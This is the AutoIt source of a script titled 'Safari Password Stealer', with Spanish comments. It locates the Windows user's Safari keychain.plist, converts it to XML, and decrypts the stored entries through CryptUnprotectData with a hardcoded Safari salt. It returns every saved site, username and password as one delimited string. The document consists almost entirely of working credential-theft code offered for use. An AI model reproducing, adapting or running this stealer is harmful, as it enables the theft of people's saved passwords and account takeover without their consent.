Safari Password Stealer - Source Code

#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90 - 01-04-2015

 Script Function:
    Recupera las contraseñas guardadas en el navegador Safari

 El funcionamiento del script esta todo explicado en el post de SecurityExploded (Exposing the Password Secrets of Apple Safari) del cual esta basado mi codigo.
 http://securityxploded.com/safari-password-secrets.php

 La funcion retorna una cadena delimitada por "//" entre las distintas credenciales y "--" para delimitar el usuario y la contraseña

 Ejemplo de retorno:
    Web(Usuario)--Contraseña//Web2(Usuario2)--Contraseña2

 Saludos ;)

#ce ----------------------------------------------------------------------------

#include <String.au3>

Func SafariRecoveryPasswords()

    Const $SALT = '0x1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108' & _
            '057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91' & _
            '636F6D2E6170706C652E536166617269'
    Const $DATA_BLOB = 'dword cbData;ptr pbData' ;cbData = Tamaño en bytes -- pbData = Puntero hacia los datos.
    Const $OS = @OSVersion

    Local $KeyPath
    If $OS = 'WIN_XP' Then
        $KeyPath = 'C:\Documents and Settings\' & @UserName & '\Application Data\Apple Computer\Preferences\keychain.plist'
    Else
        $KeyPath = 'C:\Users\' & @UserName & '\AppData\Roaming\Apple Computer\Preferences\keychain.plist'
    EndIf

    If FileExists(@TempDir & '\Pass.xml') Then FileDelete(@TempDir & '\Pass.xml')

    ShellExecuteWait(@ProgramFilesDir & '\Safari\Apple Application Support\plutil.exe', '-convert xml1 -s -o ' & @TempDir & '\Pass.xml ' & Chr(34) & $KeyPath & Chr(34), '', '', 0)

    Local $XmlObject = ObjCreate('Msxml2.DOMDocument.3.0')
    $XmlObject.async = 0
    $XmlObject.load(@TempDir & '\Pass.xml')

    Local $XmlElementString = $XmlObject.getElementsByTagName('string')

    If $XmlElementString.length <> 0 Then

        Local $Users = ''
        For $i = 3 To $XmlElementString.length - 1
            $Users &= $XmlElementString.item($i).text & '\\'
            $i += 5
        Next

        Local $XmlElementData = $XmlObject.getElementsByTagName('data')

        Local $PasswordList = ''
        For $i = 0 To $XmlElementData.length - 1

            Local $Base64Element = $XmlObject.createElement('Base64Decode')
            $Base64Element.dataType = 'bin.base64'
            $Base64Element.text = $XmlElementData.item($i).text

            Local $Base64Decode = $Base64Element.nodeTypedValue

            ;------------------------------------------------------------------------------------
            ;Estructuras para los datos de entrada -- DATA BLOB

            Local $DataInSize = BinaryLen($Base64Decode)

            Local $DataInStruct = DllStructCreate('byte[' & $DataInSize & ']')
            DllStructSetData($DataInStruct, 1, $Base64Decode)

            Local $DataInBlob = DllStructCreate($DATA_BLOB)
            DllStructSetData($DataInBlob, 1, $DataInSize)
            DllStructSetData($DataInBlob, 2, DllStructGetPtr($DataInStruct))

            ;------------------------------------------------------------------------------------

            ;------------------------------------------------------------------------------------
            ;Estructura para la contraseña -- DATA BLOB

            Local $PwdSize = BinaryLen($SALT)

            Local $PwdStruct = DllStructCreate('byte[' & $PwdSize & ']')
            DllStructSetData($PwdStruct, 1, $SALT)

            Local $PwdDataBlob = DllStructCreate($DATA_BLOB)
            DllStructSetData($PwdDataBlob, 1, $PwdSize)
            DllStructSetData($PwdDataBlob, 2, DllStructGetPtr($PwdStruct))

            ;------------------------------------------------------------------------------------

            Local $DataOutStruct = DllStructCreate($DATA_BLOB)

            Local $CryptDllOpen = DllOpen('Crypt32.dll')
            Local $UnprotectData = DllCall($CryptDllOpen, 'bool', 'CryptUnprotectData', _
                    'struct*', $DataInBlob, _
                    'ptr*', 0, _
                    'ptr', DllStructGetPtr($PwdDataBlob), _
                    'ptr', 0, _
                    'ptr', 0, _
                    'dword', 0, _
                    'struct*', $DataOutStruct)

            If $UnprotectData[0] = False Then Return 0

            Local $PasswordStruct = DllStructCreate('byte[' & DllStructGetData($DataOutStruct, 1) & ']', DllStructGetData($DataOutStruct, 2))
            Local $PasswordHex = StringTrimLeft(Hex(DllStructGetData($PasswordStruct, 1)), 8)

            While StringRight($PasswordHex, 1) = '0'
                $PasswordHex = StringTrimRight($PasswordHex, 1)
            WEnd

            Local $Password = _HexToString($PasswordHex)

            $PasswordList &= $Password & '\\'

        Next

        Local $UserSplit = StringSplit($Users, '\\')
        Local $PassSplit = StringSplit($PasswordList, '\\')

        Local $Return
        For $i = 1 To UBound($UserSplit) - 1
            $Return &= $UserSplit[$i] & '--' & $PassSplit[$i] & '//'
        Next

        Return $Return

    Else

        Return 0

    EndIf

EndFunc   ;==>SafariRecoveryPasswords